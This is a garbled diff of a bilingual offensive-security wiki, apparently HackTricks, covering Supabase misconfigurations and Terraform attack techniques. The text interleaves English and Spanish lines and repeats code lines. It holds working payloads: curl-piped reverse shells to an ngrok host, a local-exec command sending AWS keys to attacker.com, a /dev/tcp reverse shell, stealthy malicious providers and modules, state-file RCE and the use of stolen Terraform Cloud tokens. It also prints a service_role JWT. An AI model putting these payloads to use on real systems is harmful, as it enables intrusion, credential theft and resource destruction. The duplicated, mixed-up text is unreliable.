A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
También se generará una secret API key con **`role: "service_role"`**. Esta API key debe mantenerse en secreto porque podrá eludir **Row Level Security**.
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
La API key se ve así: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT Secret
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
También se generará un **JWT Secret** para que la aplicación pueda **crear y firmar JWT tokens personalizados**.
## Authentication
## Autenticación
### Signups
### Registros
> [!TIP]
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
> Por **defecto** supabase permitirá que **nuevos usuarios creen cuentas** en tu proyecto usando los endpoints de la API mencionados anteriormente.
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
Sin embargo, por defecto estas cuentas nuevas **necesitarán validar su dirección de email** para poder iniciar sesión en la cuenta. Es posible habilitar **"Allow anonymous sign-ins"** para permitir que la gente inicie sesión sin verificar su correo. Esto podría otorgar acceso a **datos inesperados** (obtienen los roles `public` y `authenticated`).\
Esto es una muy mala idea porque supabase cobra por usuario activo, así que la gente podría crear usuarios e iniciar sesión y supabase cobrará por ellos:
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
#### Auth: Server-side signup enforcement
#### Auth: Imposición del registro en el servidor
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
Quick test (from an unauthenticated client):
Ocultar el botón de registro en el frontend no es suficiente. Si el **Auth server aún permite registros**, un atacante puede llamar a la API directamente con la `anon` key pública y crear usuarios arbitrarios.
Prueba rápida (desde un cliente no autenticado):
```bash
curl -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
```
Endurecimiento esperado:
- Deshabilitar registros por email/contraseña en el Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), o configurar el ajuste equivalente de GoTrue.
- Verificar que la API ahora devuelve 4xx para la llamada previa y que no se crea ningún usuario nuevo.
- Si dependes de invites o SSO, asegúrate de que todos los demás providers estén deshabilitados a menos que sean necesarios explícitamente.
Expected hardening:
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
- Verify the API now returns 4xx to the previous call and no new user is created.
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
## RLS y Views: Bypass de escritura vía PostgREST
## RLS and Views: Write bypass via PostgREST
Usar una Postgres VIEW para “ocultar” columnas sensibles y exponerla vía PostgREST puede cambiar cómo se evalúan los privilegios. En PostgreSQL:
- Las vistas ordinarias se ejecutan con los privilegios del propietario de la view por defecto (definer semantics). En PG ≥15 puedes optar por `security_invoker`.
- Row Level Security (RLS) se aplica en las tablas base. Los propietarios de la tabla evitan RLS a menos que `FORCE ROW LEVEL SECURITY` esté establecido en la tabla.
- Las updatable views pueden aceptar INSERT/UPDATE/DELETE que luego se aplican a la tabla base. Sin `WITH CHECK OPTION`, las escrituras que no coinciden con el predicado de la view pueden seguir teniendo éxito.
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that dont match the view predicate may still succeed.
Risk pattern observed in the wild:
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owners privileges, effectively bypassing the intended RLS policies on the base table.
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
Illustrative write via view (attempted from a public client):
Patrón de riesgo observado en entornos reales:
- Una view con columnas reducidas se expone vía Supabase REST y se concede a `anon`/`authenticated`.
- PostgREST permite DML sobre la updatable view y la operación se evalúa con los privilegios del propietario de la view, eludiendo efectivamente las políticas RLS previstas en la tabla base.
- Resultado: clientes con bajos privilegios pueden editar masivamente filas (ej., bios/avatars de perfil) que no deberían poder modificar.
Ejemplo de escritura vía view (intentado desde un cliente público):
```bash
curl -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
```
Hardening checklist for views and RLS:
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
- If you must expose a view:
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invokers privileges are used instead of the owners.
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
Lista de verificación de endurecimiento para views y RLS:
- Prefiere exponer las tablas base con permisos explícitos de mínimo privilegio y políticas RLS precisas.
- Si debes exponer una view:
- Hazla no actualizable (p. ej., incluye expresiones/joins) o deniega `INSERT/UPDATE/DELETE` en la view a todos los roles no confiables.
- Aplica `ALTER VIEW <v> SET (security_invoker = on)` para que se usen los privilegios del invocador en lugar de los del propietario.
- En las tablas base, usa `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` para que incluso los propietarios estén sujetos a RLS.
- Si permites escrituras vía una view actualizable, añade `WITH [LOCAL|CASCADED] CHECK OPTION` y políticas RLS complementarias en las tablas base para asegurar que solo las filas permitidas puedan ser escritas/modificadas.
- En Supabase, evita otorgar a `anon`/`authenticated` privilegios de escritura en views a menos que hayas verificado el comportamiento end-to-end con pruebas.
Detection tip:
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
- Desde `anon` y un usuario de prueba `authenticated`, intenta todas las operaciones CRUD contra cada tabla/view expuesta. Cualquier escritura exitosa donde esperabas negación indica una mala configuración.
### OpenAPI-driven CRUD probing from anon/auth roles
### Exploración CRUD impulsada por OpenAPI desde roles anon/auth
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
Fetch the OpenAPI (works with the public anon key):
PostgREST expone un documento OpenAPI que puedes usar para enumerar todos los recursos REST y luego sondear automáticamente las operaciones permitidas desde roles de bajo privilegio.
Obtén el OpenAPI (funciona con la anon key pública):
```bash
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
```
Probe pattern (examples):
- Read a single row (expect 401/403/200 depending on RLS):
Patrón de sondeo (ejemplos):
- Leer una sola fila (esperar 401/403/200 dependiendo de RLS):
```bash
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
```
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
- Comprobar que UPDATE está bloqueado (usa un filtro inexistente para evitar alterar datos durante las pruebas):
```bash
curl -i -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
- Test INSERT is blocked:
- Comprobar que INSERT está bloqueado:
```bash
curl -i -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
```
- Test DELETE is blocked:
- Probar que DELETE está bloqueado:
```bash
curl -i -X DELETE \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
Recomendaciones:
- Automatiza las pruebas anteriores para ambos `anon` y un usuario mínimamente `authenticated` e intégralas en CI para detectar regresiones.
- Trata cada table/view/function expuesto como una superficie de primera clase. No asumas que una view “hereda” la misma postura RLS que sus tablas base.
Recommendations:
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
- Treat every exposed table/view/function as a first-class surface. Dont assume a view “inherits” the same RLS posture as its base tables.
### Contraseñas & sesiones
### Passwords & sessions
Es posible indicar la longitud mínima de contraseña (por defecto), requisitos (no hay por defecto) y prohibir el uso de leaked passwords.\
Se recomienda **mejorar los requisitos ya que los predeterminados son débiles**.
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
It's recommended to **improve the requirements as the default ones are weak**.
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
- Bot and Abuse Protection: It's possible to enable Captcha.
- User Sessions: Es posible configurar cómo funcionan las sesiones de usuario (tiempos de expiración, 1 sesión por usuario...)
- Bot and Abuse Protection: Es posible habilitar Captcha.
### SMTP Settings
It's possible to set an SMTP to send emails.
Es posible configurar un SMTP para enviar correos.
### Advanced Settings
- Set expire time to access tokens (3600 by default)
- Set to detect and revoke potentially compromised refresh tokens and timeout
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
- Establecer tiempo de expiración para los access tokens (3600 por defecto)
- Detectar y revocar refresh tokens potencialmente comprometidos y caducarlos
- MFA: Indicar cuántos factores MFA pueden registrarse simultáneamente por usuario (10 por defecto)
- Max Direct Database Connections: Número máximo de conexiones usadas para auth (10 por defecto)
- Max Request Duration: Tiempo máximo permitido para que dure una solicitud de Auth (10s por defecto)
## Storage
> [!TIP]
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
> Supabase permite **almacenar archivos** y hacerlos accesibles mediante una URL (usa S3 buckets).
- Set the upload file size limit (default is 50MB)
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
- Establecer el límite de tamaño de archivo para uploads (por defecto es 50MB)
- La conexión S3 se proporciona con una URL como: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- Es posible **solicitar S3 access key** que se forman por un `access key ID` (p. ej. `a37d96544d82ba90057e0e06131d0a7b`) y un `secret access key` (p. ej. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
## Edge Functions
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
Es posible **almacenar secrets** en supabase también, los cuales serán **accesibles por edge functions** (pueden crearse y eliminarse desde la web, pero no es posible acceder directamente a su valor).
## References

View File

@@ -1,34 +1,34 @@
# Terraform Security
# Terraform Seguridad
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Información básica
[From the docs:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube y on-prem** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para provisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como cómputo, almacenamiento y recursos de red, así como componentes de alto nivel como entradas DNS y funcionalidades SaaS.
#### How does Terraform work?
#### ¿Cómo funciona Terraform?
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
Terraform crea y gestiona recursos en plataformas cloud y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los providers permiten que Terraform funcione con prácticamente cualquier plataforma o servicio que tenga una API accesible.
![](<../images/image (177).png>)
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 providers** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los providers disponibles públicamente en el [Terraform Registry](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
The core Terraform workflow consists of three stages:
El flujo de trabajo central de Terraform consta de tres etapas:
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
- **Write:** Defines los recursos, que pueden abarcar múltiples proveedores cloud y servicios. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales dentro de una Virtual Private Cloud (VPC) con grupos de seguridad y un balanceador de carga.
- **Plan:** Terraform crea un plan de ejecución que describe la infraestructura que va a crear, actualizar o destruir basándose en la infraestructura existente y tu configuración.
- **Apply:** Tras la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando las dependencias entre recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales.
![](<../images/image (215).png>)
### Terraform Lab
### Laboratorio de Terraform
Just install terraform in your computer.
Solo instala terraform en tu ordenador.
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
Aquí tienes una [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) y aquí tienes la [best way to download terraform](https://www.terraform.io/downloads).
## RCE in Terraform: config file poisoning
@@ -55,86 +55,76 @@ Terraform plan is the **most used command** in terraform and developers/solution
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Usando un custom provider**
**Using a custom provider**
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
Un atacante podría enviar un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) y luego añadirlo al código de Terraform en una feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
```
El provider se descarga en `init` y ejecutará el código malicioso cuando se ejecute `plan`
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
Puedes encontrar un ejemplo en [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**Usando una referencia externa**
**Using an external reference**
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
Ambas opciones mencionadas son útiles pero no muy sigilosas (la segunda es más sigilosa pero más compleja que la primera). Puedes realizar este ataque de una **manera más sigilosa**, siguiendo estas sugerencias:
- En lugar de añadir el rev shell directamente en el terraform file, puedes **cargar un recurso externo** que contenga el rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Puedes encontrar el rev shell code en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- En el recurso externo, usa la característica **ref** para ocultar el **terraform rev shell code en una rama** dentro del repo, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
Terraform apply se ejecutará para aplicar todos los cambios; también puedes abusar de él para obtener RCE inyectando **un archivo Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html).
Solo necesitas asegurarte de que algún payload como los siguientes termine en el archivo `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa usando referencias externas**.
## Secrets Dumps
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
Puedes hacer que se **vuelquen los valores secretos usados por terraform** ejecutando `terraform apply` añadiendo al archivo terraform algo como:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
## Abusar de los archivos de estado de Terraform
## Abusing Terraform State Files
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo. Incluso si tuvieras acceso de escritura sobre los archivos de configuración, usar el vector de archivos de estado suele ser mucho más sigiloso, ya que no dejas rastros en el historial de `git`.
### RCE in Terraform: config file poisoning
@@ -143,309 +133,283 @@ It is possible to [create a custom provider](https://developer.hashicorp.com/ter
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
### Eliminación de recursos <a href="#deleting-resources" id="deleting-resources"></a>
Then, as soon as `terraform` gets executed, your code will run.
Hay 2 formas de destruir recursos:
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
There are 2 ways to destroy resources:
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
1. **Insertar un recurso con un nombre aleatorio en el state file apuntando al recurso real a destruir**
Porque `terraform` verá que el recurso no debería existir, lo destruirá (siguiendo el ID del recurso real indicado). Ejemplo de la página anterior:
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Modificar el recurso para eliminarlo de forma que no sea posible actualizarlo (por lo que se eliminará y recreará)**
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
Para una instancia EC2, modificar el tipo de la instancia es suficiente para hacer que terraform la elimine y la recree.
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
### Replace blacklisted provider
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
### Reemplazar proveedor en lista negra
En caso de que te encuentres con una situación donde `hashicorp/external` fue incluido en la lista negra, puedes re-implementar el provider `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado en https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o reimplementación.
```terraform
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Then you can use `external` as per normal.
Entonces puedes usar `external` como de costumbre.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE y credential exfiltration
## Terraform Cloud speculative plan RCE and credential exfiltration
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
Este escenario abusa de los runners de Terraform Cloud (TFC) durante speculative plans para pivotar hacia la cuenta cloud objetivo.
- Preconditions:
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
- Robar un Terraform Cloud token de una máquina de desarrollador. La CLI almacena tokens en texto plano en `~/.terraform.d/credentials.tfrc.json`.
- El token debe tener acceso a la organización/workspace objetivo y al menos el permiso `plan`. Los workspaces respaldados por VCS bloquean `apply` desde la CLI, pero todavía permiten speculative plans.
- Discover workspace and VCS settings via the TFC API:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
- Disparar la ejecución de código durante un speculative plan usando el external data source y el bloque "cloud" de Terraform Cloud para apuntar al VCS-backed workspace:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
program = ["bash", "./rsync.sh"]
}
```
Example rsync.sh to obtain a reverse shell on the TFC runner:
Ejemplo de rsync.sh para obtener un reverse shell en el TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Run a speculative plan to execute the program on the ephemeral runner:
Realiza un plan especulativo para ejecutar el programa en el runner efímero:
```bash
terraform init
terraform plan
```
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
- Enumerar y exfiltrate las credenciales en la nube inyectadas desde el runner. Durante las ejecuciones, TFC inyecta credenciales del proveedor vía archivos y variables de entorno:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Expected files on the runner working directory:
Archivos esperados en el directorio de trabajo del runner:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (short-lived GCP access token)
- `tfc-google-application-credentials` (config JSON de Workload Identity Federation)
- `tfc-gcp-token` (token de acceso GCP de corta duración)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
- `tfc-aws-shared-config` (config para asunción de roles web identity/OIDC)
- `tfc-aws-token` (token de corta duración; algunas organizaciones pueden usar claves estáticas)
- Use the short-lived credentials out-of-band to bypass VCS gates:
